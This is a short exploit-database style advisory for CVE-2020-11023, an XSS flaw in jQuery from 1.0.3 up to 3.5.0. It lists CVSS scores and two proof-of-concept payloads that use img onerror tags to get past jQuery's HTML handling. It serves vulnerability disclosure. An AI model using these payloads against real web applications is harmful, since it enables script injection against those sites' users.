jQuery 1.0.3 Cross Site Scripting

2021.04.16

Credit: Central Infosec

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2020-11023

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: jQuery 1.0.3 - Cross-Site Scripting (XSS)
# Date: 04/29/2020
# Exploit Author: Central InfoSec
# Version: jQuery versions greater than or equal to 1.0.3 and before 3.5.0
# CVE : CVE-2020-11023

# Proof of Concept 1:
<style><style /><img src=x onerror=alert(1)>

# Proof of Concept 2 (Only jQuery 3.x affected):
<img alt="<x" title="/><img src=x onerror=alert(1)>">

See this note in RAW Version

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jQuery 1.0.3 Cross Site Scripting

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